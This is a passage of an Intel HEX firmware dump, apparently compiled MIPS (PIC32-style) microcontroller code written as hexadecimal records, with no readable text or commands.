001800c2a32c00c28fc1\n:106a0000488082af2400c28f340040a42800c28f87\n:106a1000340040a4d55a400b000000001800c0a369\n:106a2000955a400b000000001800c2931800c39351\n:106a30001000c48f21188300000063801000c42759\n:106a400021108200280043a01800c28301004224c4\n:106a50001800c2a31800c283080042280800401092\n:106a6000000000001800c2931000c38f21106200c4\n:106a70000000438020000224ebff621400000000ad\n:106a80001000c28f080043802000022425006210fd\n:106a9000000000001800c283010043241800c3a3b3\n:106aa000ff0042301000c327211062002e00032493\n:106ab000280043a01900c0a3be5a400b00000000ec\n:106ac0001800c283010043241800c3a3ff00423012\n:106ad0001900c3931000c48f21188300080063803d\n:106ae0001000c42721108200280043a01900c2838f\n:106af000010042241900c2a31900c28303004228e6\n:106b000008004010000000001900c2931000c38f5d\n:106b1000211062000800438020000224e8ff621474\n:106b2000000000001800c2931000c327211062006b\n:106b3000280040a0488080af3800c22721204000b4\n:106b4000414c400f000000001800c2a32c00c28f6f\n:106b5000488082af1800c2830b0040100000000084\n:106b60000c80828f212040002400c58f403e400fc2\n:106b7000000000000c000224348182a3ffff0224e5\n:106b8000d65d400b000000000c80828f3c00438cdf\n:106b90002400c28f3c00428c0b00621400000000f5\n:106ba0000c80828f212040002400c58f403e400f82\n:106bb000000000001f000224348182a3ffff022492\n:106bc000d65d400b00000000020002243400c2a782\n:106bd00001000224478082a3585b400b00000000a4\n:106be0002400c28f340042942600401400000000ac\n:106bf0001800c0a30a5b400b000000001800c293fd\n:106c00001800c3931000c48f211883000000638014\n:106c10002800c48f21108200200043a01800c283e6\n:106c2000010042241800c2a31800c28308004228b1\n:106c3000f2ff4014000000001800c0a31d5b400bd1\n:106c4000000000001800c293080042241800c393fb\n:106c50001000c48f21188300080063802800c48faf\n:106c600021108200200043a01800c28301004224aa\n:106c70001800c2a31800c28303004228f1ff401489\n:106c8000000000002800c28f00a0033c58106324bd\n:106c9000000043ac3400c3972800c28f360043a4e1\n:106ca0000c80828f3c00438c2800c28f3c0043ac98\n:106cb0000c80828f4000438c2800c28f400043ac80\n:106cc0002800c28f040040ac2800c28f080040acee\n:106cd0003400c2272800c48f212840000100062468\n:106ce000dd39400f000000000f00401000000000e0\n:106cf0002400c28f340040a42800c28f340040a476\n:106d00000c80828f212040002400c58f403e400f20\n:106d10000000000001000224348182a3ffff02244e\n:106d2000d65d400b000000003400c29701004224f1\n:106d3000ffff42303400c2a72400c28f340040a4b9\n:106d40002800c28f340040a4585b400b00000000b4\n:106d50003400c29701004224ffff42303400c2a732\n:106d6000478082931000401000000000478080a3fd\n:106d70000c80828f0c80838f3c00638c400043ac7e\n:106d80000c80838f3400c22721206000212840001e\n:106d900001000624e72f400f000000001000c2afe2\n:106da000725b400b000000000c80838f3400c22710\n:106db000212060002128400021300000e72f400ff3\n:106dc000000000001000c2af1000c28ff401401498\n:106dd000000000002400c28f340040a42800c28fad\n:106de000340040a40c80828f212040002400c58ff5\n:106df000403e400f000000001b000224348182a3ab\n:106e0000ffff0224d65d400b000000002400c28f6b\n:106e1000340040a42800c28f340040a41400c2975c\n:106e2000dd014010000000003600c0a70c80828ffa\n:106e30000c80838f3c00638c400043ac0c80838fbc\n:106e40003600c227212060002128400001000624ce\n:106e5000e72f400f000000001000c2af1000c28feb\n:106e60000b004014000000000c80828f21204000a5\n:106e70002400c58f403e400f000000001b0002248c\n:106e8000348182a3ffff0224d65d400b0000000086\n:106e90001000c48f0227400f00000000ffff4230a7\n:106ea0003600c2a74880828f080040100000000012\n:106eb000059d023c00674424414c400f0000000047\n:106ec0001600c2a7b85b400b00000000059d023c05\n:106ed00008674424414c400f000000001600c2a780\n:106ee0001600c2870b004010000000000c80828f4b\n:106ef000212040002400c58f403e400f00000000cc\n:106f00000c000224348182a3ffff0224d65d400bd3\n:106f100000000000020002243400c2a70c80828f0f\n:106f20000c80838f3c00638c400043ac0c80838fcb\n:106f30003400c227212060002128400001000624df\n:106f4000e72f400f000000001000c2af1000c28ffa\n:106f50000b004014000000000c80828f21204000b4\n:106f60002400c58f403e400f000000001b0002249b\n:106f7000348182a3ffff0224d65d400b0000000095\n:106f80001000c48f0227400f00000000208182af54\n:106f9000035c400b000000003400c2970100422453\n:106fa000ffff42303400c2a70c80838f3400c22719\n:106fb000212060002128400021300000e72f400ff1\n:106fc000000000001000c2af1000c28f0b00401480\n:106fd000000000000c80828f212040002400c58f1b\n:106fe000403e400f000000001b000224348182a3b9\n:106ff000ffff0224d65d400b000000001000c48f8c\n:107000000227400f00000000208182af3600c297a7\n:10701000211840002081828fdfff621400000000f1\n:107020003600c297211840002081828f0b00621425\n:10703000000000001000c28f00004380e5ff022422\n:10704000d5ff6210000000001000c28f0b004390bb\n:1070500008000224d0ff6210000000001600c0a744\n:107060000c80828f3c02c327212060002128400031\n:10707000403e400f000000003400c297ffff422452\n:10708000ffff42303a02c2a70c80838f3a02c22728\n:10709000212060002128400021300000e72f400f10\n:1070a000000000001c00c2afc65c400b00000000e6\n:1070b0001c00c28f010042908002c2a31c00c28f3c\n:1070c000020042908102c2a31600c287010043243d\n:1070d0001600c3a7401002003000c38f21106200c9\n:1070e0008002c397000043a41c00c28f030042909b\n:1070f0008002c2a31c00c28f040042908102c2a37e\n:107100001600c287010043241600c3a740100200e6\n:107110003000c38f211062008002c397000043a497\n:107120001c00c28f050042908002c2a31c00c28fc7\n:10713000060042908102c2a31600c28701004324c8\n:107140001600c3a7401002003000c38f2110620058\n:107150008002c397000043a41c00c28f0700429026\n:107160008002c2a31c00c28f080042908102c2a309\n:107170001600c287010043241600c3a74010020076\n:107180003000c38f211062008002c397000043a427\n:107190001c00c28f090042908002c2a31c00c28f53\n:1071a0000a0042908102c2a31600c2870100432454\n:1071b0001600c3a7401002003000c38f21106200e8\n:1071c0008002c397000043a41600c2870100432435\n:1071d0001600c3a7401002003000c38f21106200c8\n:1071e0001c00c38f0e006394000043a41600c287e6\n:1071f000010043241600c3a7401002003000c38fd3\n:10720000211062001c00c38f10006394000043a48f\n:107210001600c287010043241600c3a740100200d5\n:107220003000c38f211062001c00c38f12006394d2\n:10723000000043a41600c287010043241600c3a720\n:10724000401002003000c38f211062001c00c38f69\n:1072500014006394000043a41600c2870100432475\n:107260001600c3a7401002003000c38f2110620037\n:107270001c00c38f16006394000043a41600c2874d\n:10728000010043241600c3a7401002003000c38f42\n:10729000211062001c00c38f18006394000043a4f7\n:1072a0001600c287010043241600c3a74010020045\n:1072b0003000c38f211062001c00c38f1c00639438\n:1072c000000043a41600c287010043241600c3a790\n:1072d000401002003000c38f211062001c00c38fd9\n:1072e0001e006394000043a43a02c297ffff4224a9\n:1072f000ffff42303a02c2a70c80838f3a02c227b6\n:10730000212060002128400021300000e72f400f9d\n:10731000000000001c00c2af1c00c28f0b00439095\n:107320000f0002240a006214000000001c00c28f3b\n:1073300000004390e50002240500621000000000f8\n:107340001c00c28f0000429059ff40140000000052\n:107350000c80838f3c02c22721206000212840003e\n:10736000403e400f000000001600c287300040146d\n:10737000000000003800c227212040002128000022\n:107380000c0006247152410f000000001800c0a339\n:10739000f15c400b000000001800c2931800c3937a\n:1073a0001000c48f21188300000063801000c427e0\n:1073b00021108200280043a01800c283010042244b\n:1073c0001800c2a31800c28308004228f2ff40142c\n:1073d000000000001800c0a3045d400b0000000086\n:1073e0001800c293080042241800c3931000c48ff1\n:1073f00021188300080063801000c4272110820038\n:10740000280043a01800c283010042241800c2a330\n:107410001800c28303004228f1ff4014000000005e\n:107420000c80828f340040a4345d400b00000000cb\n:107430000c80828f1600c397340043a40c000224f2\n:107440001800c2a32e5d400b000000001600c38789\n:107450001800c2832310620021184000ff7f023c05\n:10746000ffff423421106200401002003000c38f41\n:1074700021106200000042940c0040140000000043\n:107480000c80828f1600c4971800c383ffff6330ff\n:1074900023188300ffff6330ffff6324ffff633087\n:1074a000340043a4315d400b000000001800c2838b\n:1074b000ffff42241800c2a31800c283e3ff410467\n:1074c000000000000c80828f3800c327300043acde\n:1074d0003800c22721204000dc5d400f0000000082\n:1074e0000b004010000000000c80828f2120400023\n:1074f0002400c58f403e400f000000000100022420\n:10750000348182a3ffff0224d65d400b00000000ff\n:107510003400c29701004224ffff42303400c2a76a\n:107520000c80828f0c80838f3c00638c400043acc6\n:107530000c80838f3400c227212060002128400066\n:1075400001000624e72f400f000000001000c2af2a\n:107550001000c28f0b004014000000000c80828fce\n:10756000212040002400c58f403e400f0000000055\n:107570001b000224348182a3ffff0224d65d400b4e\n:10758000000000001400c297ffff42241400c2a7ad\n:10759000685d400b00000000010002242a8182a3e4\n:1075a0002a818293fdfb4010000000003800c227b2\n:1075b0002120400002000524e94e400f0000000099\n:1075c00009004014000000000c80828f2120400040\n:1075d0002400c58f403e400f00000000ffff022442\n:1075e000d65d400b000000000c80828f3400429476\n:1075f00019004014000000003800c227212040007c\n:10760000212800000c0006247152410f00000000e8\n:107610001800c0a3925d400b000000001800c29348\n:107620000c80848f1800c39321188300200063808e\n:107630001000c42721108200280043a01800c28334\n:10764000010042241800c2a31800c2830b00422884\n:10765000f2ff4014000000004880828f08004010b4\n:1076600000000000059d023c00674424414c400f8f\n:10767000000000001600c2a7a55d400b000000003e\n:10768000059d023c08674424414c400f0000000067\n:107690001600c2a71600c2870b00401000000000b1\n:1076a0000c80828f212040002400c58f403e400f77\n:1076b000000000000c000224348182a3ffff02249a\n:1076c000d65d400b000000000c80828f3400429495\n:1076d00009004010000000000c80828f3000428cb6\n:1076e00021204000dc5d400f000000001600c2a712\n:1076f000c35d400b000000003800c227212040007d\n:10770000dc5d400f000000001600c2a71600c28713\n:107710000b004010000000000c80828f21204000f0\n:107720002400c58f403e400f0000000001000224ed\n:10773000348182a3ffff0224d65d400b00000000cd\n:107740000c80828f212040002400c58f403e400fd6\n:10775000000000002110000021e8c0038c02bf8f50\n:107760008802be8f9002bd270800e00300000000e1\n:1077700098ffbd276400bfaf6000beaf21f0a0033b\n:107780006800c4afd8d8400f0000000004004010cb\n:1077900000000000ffff02242e5e400b00000000ee\n:1077a0000c80828f1800c327212060002128400010\n:1077b000403e400f000000000c80828f3400429455\n:1077c00013004014000000001400c0a3005e400b32\n:1077d000000000000c80848f1400c2931400c39337\n:1077e0006800c58f2118a30000006380211082006b\n:1077f000200043a01400c293010042241400c2a33d\n:107800001400c2930b00422cf2ff40140000000051\n:107810000c80828f00a0033ca01364242128400028\n:10782000403e400f000000000c80828f212040006d\n:1078300000a0023ca01345240100062421380000ca\n:10784000db1b400f0000000012004014000000008d\n:107850000c80838f0c80828f3600422421206000b0\n:107860002128400001000624dd39400f00000000ff\n:1078700004004014000000001000c0af275e400b61\n:1078800000000000ffff02241000c2af275e400b83\n:1078900000000000ffff02241000c2af0c80838fa5\n:1078a0001800c2272120600021284000403e400fe0\n:1078b000000000001000c28f21e8c0036400bf8fe9\n:1078c0006000be8f6800bd270800e00300000000d4\n:1078d00098ffbd276400bfaf6000beaf21f0a003da\n:1078e0006800c4af6c00c5af7000c6af1800c227f7\n:1078f0001400c2af348180a31400c28f00a0033ce7\n:1079000090116324300043ac7000c28f00a0033c90\n:10791000e41363241c0043ac6800c48f1400c58fbb\n:10792000010006244e42400f0000000006004014f3\n:107930000000000012000224348182a3ffff022411\n:107940006f5f400b000000007000c28f3c0040a041\n:107950001400c28f2c00438c7000c28f180043acff\n:107960001400c28f340042942c8182a72c8182970c\n:1079700026004014000000001100c0a36c5e400b04\n:10798000000000001100c2931100c3936800c48f6f\n:1079900021188300000063807000c48f21108200d2\n:1079a000280043a01100c293010042241100c2a389\n:1079b0001100c2930c00422c070040100000000090\n:1079c0001100c2936800c38f211062000000428042\n:1079d000ecff4014000000007f5e400b0000000040\n:1079e0001100c2937000c38f21106200280040a0d4\n:1079f0001100c293010042241100c2a31100c293de\n:107a00000d00422cf6ff4014000000006c00c28ff5\n:107a1000ff0043307000c28f350043a00c80828f7e\n:107a20003c00438c7000c28f380043ac1400c28ffe\n:107a300000a0033c58106324000043ac1400c28f24\n:107a4000040040ac1400c28f080040ac1400c28f88\n:107a5000360040a46c00c28fffff43301400c28f79\n:107a60003a0043a40c80828f3c00438c1400c28fe8\n:107a70003c0043ac0c80828f4000438c1400c28fca\n:107a8000400043ac00a0023ca01344241400c58f66\n:107a9000403e400f000000001400c48f00a0023cd4\n:107aa000a01345240100062401000724db1b400f1e\n:107ab0000000000006004010000000000b0002243f\n:107ac000348182a3ffff02246f5f400b000000009f\n:107ad0001400c28f360042945c00c2a75c00c2272b\n:107ae0001400c48f2128400072000624a622400ff3\n:107af00000000000ae004014000000001400c28f1f\n:107b0000340043947000c28f200043a41400c28f3d\n:107b1000340042941d004010000000001400c28f89\n:107b2000340042941200c2a71200c38700a0023c96\n:107b300040180300e413422421106200000040a416\n:107b4000de5e400b000000001200c4871200c387f5\n:107b500000a0023c401803004406422421106200a9\n:107b60000000439400a0023c40200400e41342249f\n:107b700021108200000043a41200c287ffff4324ab\n:107b80001200c3a7f0ff4014000000001000c0a3c3\n:107b9000ed5e400b000000001000c2937000c38f28\n:107ba00021106200000040a01000c2930100422496\n:107bb0001000c2a31000c2930d00422cf6ff401427\n:107bc000000000001400c28f3a0043940800022411\n:107bd00049006210000000001100c0a31000c0a303\n:107be000085f400b000000001100c2931000c39317\n:107bf0001400c48f21188300200063807000c48f9c\n:107c000021108200000043a01100c2930100422411\n:107c10001100c2a31000c293010042241000c2a3ad\n:107c20001000c2930800422c080040100000000021\n:107c30001000c2931400c38f211062002000438003\n:107c400020000224e8ff6214000000001400c28f2c\n:107c50002800438020000224390062100000000048\n:107c60001100c293010043241100c3a37000c38f0d\n:107c7000211062002e000324000043a0080002240b\n:107c80001000c2a3315f400b000000001100c2933e\n:107c90001000c3931400c48f211883002000638058\n:107ca0007000c48f21108200000043a01100c29315\n:107cb000010042241100c2a31000c293010042241b\n:107cc0001000c2a31000c2930b00422c1c004010f5\n:107cd000000000001000c2931400c38f2110620046\n:107ce0002000438020000224e8ff6214000000000e\n:107cf000505f400b000000001100c0a34c5f400b20\n:107d0000000000001100c2931100c3931400c48f3f\n:107d100021188300200063807000c48f211082002e\n:107d2000000043a01100c293010042241100c2a32d\n:107d30001100c2930b00422cf2ff4014000000001f\n:107d40001400c28f3a004294ff0043307000c28f8b\n:107d50000d0043a01400c28f1400438c7000c28f2a\n:107d6000100043ac1400c28f1e004294001c02009d\n:107d70001400c28f1c004294211862007000c28f50\n:107d8000140043ac1400c28f360042942118400006\n:107d90007000c28f240043ac7000c28f0100032426\n:107da0003c0043a0211000006f5f400b000000006a\n:107db0001b000224348182a3ffff022421e8c003b8\n:107dc0006400bf8f6000be8f6800bd270800e0031d\n:107dd0000000000098ffbd276400bfaf6000beaf89\n:107de00021f0a0036800c4af1800c2271400c2af7e\n:107df000348180a36800c28f3c004290060040148a\n:107e00000000000007000224348182a3ffff022447\n:107e10008760400b000000006800c28f3800438c70\n:107e20000c80828f3c00428c060062100000000033\n:107e30001f000224348182a3ffff02248760400bcd\n:107e4000000000006800c28f1800438c1400c28f2d\n:107e50002c0043ac2c8183971400c28f340043a4c0\n:107e60001400c28f3400429407004010000000004c\n:107e70001400c28f00a0033c90116324300043ac77\n:107e8000b05f400b000000006800c28f2800422451\n:107e9000212040001400c58f010006244e42400fef\n:107ea0000000000006004014000000001200022440\n:107eb000348182a3ffff02248760400b0000000092\n:107ec0001400c28f00a0033c58106324000043ac90\n:107ed0001400c28f040040ac1400c28f080040acf4\n:107ee0006800c28f2400428cffff42300100422410\n:107ef000ffff43301400c28f360043a46800c28fd6\n:107f000035004290211840001400c28f3a0043a46b\n:107f10000c80828f3c00438c1400c28f3c0043ac29\n:107f20000c80828f4000438c1400c28f400043ac11\n:107f300000a0023ca01344241400c58f403e400f13\n:107f4000000000001400c48f00a0023ca0134524d0\n:107f50000100062401000724db1b400f0000000085\n:107f600006004010000000000b000224348182a3b0\n:107f7000ffff02248760400b000000001400c28f46\n:107f8000340043946800c28f200043a41400c28fc1\n:107f9000340042941d004010000000001400c28f05\n:107fa000340042941200c2a71200c38700a0023c12\n:107fb00040180300e413422421106200000040a492\n:107fc000fe5f400b000000001200c4871200c38750\n:107fd00000a0023c40180300440642242110620025\n:107fe0000000439400a0023c40200400e41342241b\n:107ff00021108200000043a41200c287ffff432427\n:108000001200c3a7f0ff4014000000001100c0a33d\n:108010000d60400b000000001100c2936800c38f88\n:1080200021106200000040a01100c2930100422410\n:108030001100c2a31100c2930d00422cf6ff4014a0\n:10804000000000001400c28f3a004394080002248c\n:1080500049006210000000001000c0a31100c0a37e\n:108060002860400b000000001000c2931100c39371\n:108070001400c48f21188300200063806800c48f1f\n:1080800021108200000043a01000c293010042248e\n:108090001000c2a31100c293010042241100c2a328\n:1080a0001100c2930800422c08004010000000009c\n:1080b0001100c2931400c38f21106200200043807e\n:1080c00020000224e8ff6214000000001400c28fa8\n:1080d00028004380200002243900621000000000c4\n:1080e0001000c293010043241000c3a36800c38f93\n:1080f000211062002e000324000043a00800022487\n:108100001100c2a35160400b000000001000c29398\n:108110001100c3931400c48f2118830020006380d2\n:108120006800c48f21108200000043a01000c29399\n:10813000010042241000c2a31100c2930100422496\n:108140001100c2a31100c2930b00422c1c0040106e\n:10815000000000001100c2931400c38f21106200c0\n:108160002000438020000224e8ff62140000000089\n:108170007060400b000000001000c0a36c60400b5a\n:10818000000000001000c2931000c3931400c48fbd\n:1081900021188300200063806800c48f21108200b2\n:1081a000000043a01000c293010042241000c2a3ab\n:1081b0001000c2930b00422cf2ff4014000000009c\n:1081c0001400c28f3a004294ff0043306800c28f0f\n:1081d0000d0043a01400c28f1400438c6800c28fae\n:1081e000100043ac1400c28f1e004294001c020019\n:1081f0001400c28f1c004294211862006800c28fd4\n:10820000140043ac1400c28f360042942118400081\n:108210006800c28f240043ac2110000021e8c00395\n:108220006400bf8f6000be8f6800bd270800e003b8\n:1082300000000000e0ffbd271c00bfaf1800beaf6c\n:1082400021f0a0032000c4af2400c5af2800c6afb2\n:1082500001000224488082af2000c48f2400c58f13\n:108260002800c68f345e400f000000001000c2af2f\n:10827000488080af1000c28f21e8c0031c00bf8f70\n:108280001800be8f2000bd270800e003000000009a\n:10829000e8ffbd271400bfaf1000beaf21f0a00360\n:1082a000c560400f0000000000a0023cdc564224e4\n:1082b000070042900e0040100000000088bf033c01\n:1082c00020606294c47b027c206062a400a0023c17\n:1082d000e3564424c265400f0000000088bf033c01\n:1082e0002060629401000424c47b827c206062a42c\n:1082f000f481828f0300401400000000afa2400f01\n:1083000000000000fd62400f00000000bc60400b58\n:1083100000000000a0ffbd275c00bfaf5800beaf4b\n:1083200021f0a00381bf023cffff0334609043ac07\n:10833000c404023c00b442341000c2af1000c28f2b\n:108340001400c2af1400c28f1800c2af1800c28f51\n:108350001c00c2af1800c38fc404023c01b44234f5\n:108360002b10620008004014000000000800023cce\n:108370002000c2af1c00c28f421002001c00c2af1e\n:10838000e360400b000000002000c0af2000c28f5f\n:108390002400c2afc559410f000000002800c2af41\n:1083a00088bf023c0030428c0003427cff00423018\n:1083b0002c00c2af2c00c28f090040140000000046\n:1083c00088bf023c00100324083043ac88bf023c45\n:1083d0000030428c00084230fcff401400000000d6\n:1083e0002c00c28f3000c2af81bf023c30f240ace3\n:1083f00081bf023c99aa033c5566633430f243ac1a\n:1084000081bf023c6655033caa99633430f243ac09\n:1084100081bf023c00f0428c5400c2af5400c28fb6\n:10842000c4a4027c5400c2af5400c38f2400c28f86\n:10843000251062005400c2af5400c38f81bf023cbc\n:1084400000f043ac81bf023c00f0428c5400c2af4c\n:1084500081bf023c3333033c3333633430f243aceb\n:108460003000c28f3400c2af3400c28f13004010fe\n:108470000000000088bf023c0030428c0003427cb8\n:10848000ff0042303800c2af3800c28f0e004014e7\n:108490000000000088bf023c00100324083043acf9\n:1084a00088bf023c0030428c00084230fcff401480\n:1084b000000000003261400b0000000088bf023c59\n:1084c00000100324043043ac2800c48f2059410f0e\n:1084d000000000001c00c28f3c00c2af4000c0afd3\n:1084e0004261400b000000004000c28f01004224a6\n:1084f0004000c2af1400c38f36fe023c803c4234c1\n:10850000211062001400c2af1400c38fc901023ce5\n:1085100081c342342b106200f3ff401000000000c2\n:10852000c559410f000000004400c2af88bf023ca3\n:108530004000c38f004043ac4400c48f2059410f1a\n:10854000000000003c00c28f4800c2afc559410f77\n:10855000000000004c00c2af88bf023c4000032472\n:10856000042043ac88bf023c0040428c5000c2afa4\n:108570005000c28f300042345000c2af88bf023c6e\n:108580005000c38f004043ac5659410f000000001b\n:108590004c00c48f2059410f0000000088bf023cee\n:1085a00010000324641043ac88bf023c681040ac48\n:1085b00080bf023c000640ac88bf023c000103249f\n:1085c000641043ac88bf023c681040ac80bf023ce2\n:1085d000000840ac88bf023c0100033c641043ac7f\n:1085e00088bf023c681040ac80bf023c000c40ac2d\n:1085f00080bf023c40000324000e43ac80bf023c1d\n:10860000100e40ac80bf023cffff0324200e43aca1\n:1086100080bf023c00800334080e43ac88bf023c9c\n:108620001c000324e41043ac88bf023c1c0003245c\n:10863000e81043acd04c410f00000000f09e400f0a\n:1086400000000000f481828f03004014000000004d\n:10865000afa2400f000000002d00023cc0c6443411\n:10866000240e410f00000000bc23410f0000000059\n:10867000a461400f0000000021e8c0035c00bf8f30\n:108680005800be8f6000bd270800e0030000000016\n:10869000e8ffbd271400bfaf1000beaf21f0a0035c\n:1086a000188280a30c8280af01000224248282af52\n:1086b00088bf033cc061629401000424c47b827cb7\n:1086c000c06162a488bf033cd061628c01000424b5\n:1086d0008473827cd06162ac88bf033cd061628cc1\n:1086e00001000424c47b827cd06162ac88bf033c5f\n:1086f00000606294010004248410827c006062a403\n:1087000088bf033c00606294010004240421827c41\n:10871000006062a488bf033c0060629401000424ee\n:108720004429827c006062a488bf033c006062949c\n:108730008473027c006062a488bf033c0060629482\n:10874000c47b027c006062a488bf033c40606294ea\n:108750000421027c406062a488bf033c40606294b4\n:108760004429027c406062a488bf033c406062945c\n:10877000444a027c406062a488bf033c406062942b\n:1087800001000424c45a827c406062a488bf033c78\n:1087900040606294010004240463827c406062a40f\n:1087a00088bf033c4060629401000424446b827cd7\n:1087b000406062a488bf033c806062944408027ced\n:1087c000806062a488bf033c806062948410027c55\n:1087d000806062a488bf033c80606294c418027cfd\n:1087e000806062a488bf033c80606294010004241e\n:1087f0000421827c806062a488bf033cc0606294d4\n:10880000010004240400827cc06062a488bf033c91\n:10881000c06062944408027cc06062a488bf033ccc\n:10882000c06062948410027cc06062a488bf033c74\n:10883000c0606294c418027cc06062a488bf033c1c\n:10884000c06062940421027cc06062a488bf033cc3\n:10885000c0606294010004244429827cc06062a448\n:1088600088bf033cc0606294010004248431827c90\n:10887000c06062a488bf033cc0606294c439027cbb\n:10888000c06062a488bf033cc060629401000424fd\n:108890000442827cc06062a488bf033cc0606294d2\n:1088a000c45a027cc06062a488bf033cc06062946a\n:1088b000010004240463827cc06062a488bf033c7e\n:1088c000006162940400027c006162a488bf033ce2\n:1088d000006162944408027c006162a488bf033c8a\n:1088e000006162948410027c006162a488bf033c32\n:1088f00000616294c418027c006162a488bf033cda\n:10890000006162944429027c006162a488bf033c38\n:1089100000616294010004248431827c006162a4bd\n:1089200088bf033c0061629401000424c439827c46\n:10893000006162a488bf033c006162940442027c2f\n:10894000006162a488bf033c00616294444a027cd7\n:10895000006162a488bf033c40616294010004246a\n:108960000400827c406162a488bf033c4061629441\n:10897000010004244408827c406162a488bf033c57\n:1089800040616294010004248410827c406162a4ee\n:1089900088bf033c406162940442027c406162a44f\n:1089a00088bf033c806162948431027c806162a450\n:1089b00088bf033c80616294010004240463827ccc\n:1089c000806162a488bf033c80616294010004243a\n:1089d000446b827c806162a488bf033c80616294a6\n:1089e000444a027c806162a488bf033c6060629458\n:1089f000444a027c606062a488bf033ca060629429\n:108a00004408027ca06062a488bf033ca06062941a\n:108a10008410027ca06062a488bf033ca0606294c2\n:108a2000c418027ca06062a488bf023cd060428c63\n:108a30008001427cff00443088bf033ce0606294c8\n:108a40008410827ce06062a488bf023cd060428ccb\n:108a50004001427cff00443088bf033ce0606294e8\n:108a6000c418827ce06062a488bf033c20616294e9\n:108a70004429027c206162a488bf033c2061629487\n:108a800001000424444a827c206162a488bf033c24\n:108a900020616294c418027c206162a488bf033cf8\n:108aa000206162948410027c206162a488bf033c30\n:108ab000206162944408027c206162a488bf033c68\n:108ac000206162940400027c206162a488bf033ca0\n:108ad000a06162948431027ca06162a488bf033cdf\n:108ae00020606294c47b027c206062a488bf033c47\n:108af000e0606294c45a027ce06062a42d38410fa9\n:108b0000000000000100042499f8400f000000005c\n:108b1000e8eb400f0000000088bf033c60606294f7\n:108b20000421027c606062a488bf033c60606294a0\n:108b30004429027c606062a488bf033c2061629487\n:108b400001000424c418827c206162a488bf033c15\n:108b500020616294010004248410827c206162a45c\n:108b600088bf033c20616294010004244408827c95\n:108b7000206162a488bf033c206162940100042448\n:108b80000400827c206162a488bf033ca0616294df\n:108b9000010004248431827ca06162a488bf033c6c\n:108ba0002060629401000424c47b827c206062a463\n:108bb00088bf033ce060629401000424c45a827cb4\n:108bc000e06062a400a0023cdc5642248700429090\n:108bd000212040008fc0400f0000000021e8c003aa\n:108be0001400bf8f1000be8f1800bd270800e003df\n:108bf00000000000e0ffbd271c00bfaf1800beafa3\n:108c000021f0a0031000c0a37b14410f000000005e\n:108c1000d580839301000224160062140000000036\n:108c2000f481828f2000422c0600401400000000d6\n:108c300088bf023c8050428c020042300400401049\n:108c400000000000000000008964400b00000000ec\n:108c5000a1818293070040140000000000a0023ca4\n:108c60005c56442440000524a311410f000000007d\n:108c70001000c2a35438410f00000000090040104a\n:108c80000000000002000224d58082a300a0023c64\n:108c90005c56442464000524bf13410f000000000b\n:108ca0001000c2a31000c2935c014010000000003d\n:108cb0001100c0a37364400b000000001100c393b7\n:108cc00000a0023c5c564224211062000000429049\n:108cd0000d0003242f004310000000000e00432865\n:108ce0000900601000000000080003240c0043107d\n:108cf000000000000a0003242600431000000000ca\n:108d00004064400b000000001b0003247600431069\n:108d1000000000007f000324f9004314000000005d\n:108d20001000c0a3dc808293090040140000000002\n:108d3000029d023c3cec4424029d023c40ec452454\n:108d40000413410f000000007064400b000000009d\n:108d5000029d023c3cec4424029d023c44ec452430\n:108d60000413410f00000000dc808293ffff4324c6\n:108d7000ff006330dc8083a32118400000a0023c88\n:108d8000fc6a422421106200000040a07064400b85\n:108d900000000000dc8082932118400000a0023c0b\n:108da000fc6a422421106200000040a0dd8080a304\n:108db00000a0023cfc6a42240000428007004014ec\n:108dc0000000000000a0023cfc6a4424c265400f81\n:108dd000000000008964400b00000000de808393e7\n:108de00001000224200062140000000000a0023ce8\n:108df000fc6b4224000042801b0040100000000079\n:108e0000010002241100c2a39663400b0000000081\n:108e10001100c293ffff4224c019020000a0023ccf\n:108e20007c6b4224211862001100c293c021020011\n:108e300000a0023c7c6b42242110820021206000b3\n:108e400021284000574a410f000000001100c29342\n:108e5000010042241100c2a31100c2930200422c5f\n:108e6000ebff401400000000de808293c019020076\n:108e700000a0023c7c6b42242110620021204000b3\n:108e800000a0023cfc6a4524574a410f0000000044\n:108e9000de808393df8082932b1043000300401019\n:108ea00000000000de808293df8082a3de80829358\n:108eb0000500401400000000de808293010042247f\n:108ec000ff004230de8082a3dc8080a31000c0a3bc\n:108ed00000a0023cfc6a4424c265400f0000000070\n:108ee0008964400b00000000d580839301000224b8\n:108ef0001700621400000000c263400b0000000075\n:108f00007112410f00000000a1818293fcff401408\n:108f1000000000000000000000a0023c5c56442459\n:108f200002000524a311410f00000000faff4010c9\n:108f30000000000000a0023c5c5643905b0002244d\n:108f400003006210000000007064400b000000008d\n:108f5000e063400b00000000dc808293ffff4224ae\n:108f6000ff004230dc8082a3029d023c3cec4424a2\n:108f7000029d023c44ec45240413410f0000000014\n:108f8000dc808293f4ff40140000000000a0023c4b\n:108f9000fc6a40a01000c0a300a0023c5c56422422\n:108fa00001004390410002242100621400000000ef\n:108fb000de8082930900401400000000029d023c04\n:108fc0003cec4424029d023c40ec45240413410f38\n:108fd000000000000264400b00000000dd8082936e\n:108fe0000700401000000000de808293ffff422453\n:108ff000ff004230de8082a30264400b00000000cc\n:1090000001000224dd8082a3de808293c019020069\n:1090100000a0023c7c6b42242110620000a0033cb3\n:10902000fc6a642421284000574a410f00000000d8\n:1090300000a0023c5c5642240100439042000224fe\n:109040002100621400000000dd8080a3de80839395\n:10905000df8082932b1043000500401400000000c5\n:10906000de808393010002240900621400000000e6\n:10907000029d023c3cec4424029d023c40ec452411\n:109080000413410f000000003264400b0000000098\n:10909000de80829301004224ff004230de8082a302\n:1090a000de808293c019020000a0023c7c6b422447\n:1090b0002110620000a0033cfc6a642421284000c7\n:1090c000574a410f0000000000a0023cfc6a442403\n:1090d0007b4b410f00000000ff004230dc8082a388\n:1090e000029d023c3cec442400a0023cfc6a452466\n:1090f0000413410f000000007064400b00000000ea\n:109100001100c39300a0023c5c564224211062006f\n:10911000000042902000422c090040140000000092\n:109120001100c39300a0023c5c564224211062004f\n:10913000000042907f00422c0a0040140000000012\n:10914000029d023c3cec4424029d023c40ec452440\n:109150000413410f000000001000c0a37064400b16\n:10916000000000001100c493dc80829301004324be\n:10917000ff006330dc8083a31100c59300a0033c93\n:109180005c5663242118a3000000659000a0033cf6\n:10919000fc6a632421184300000065a000a0033c82\n:1091a000fc6a6324211043000000439000a0023cad\n:1091b000dc44422421108200000043a00000000093\n:1091c0001100c293010042241100c2a31100c393f5\n:1091d0001000c2932b106200b8fe40140000000083\n:1091e000d4808393010002240c006214000000006c\n:1091f0001000c39300a0023cdc4442242110620012\n:10920000000040a0029d023c3cec442400a0023c33\n:10921000dc4445240413410f000000007112410f8b\n:109220000000000021e8c0031c00bf8f1800be8fa3\n:109230002000b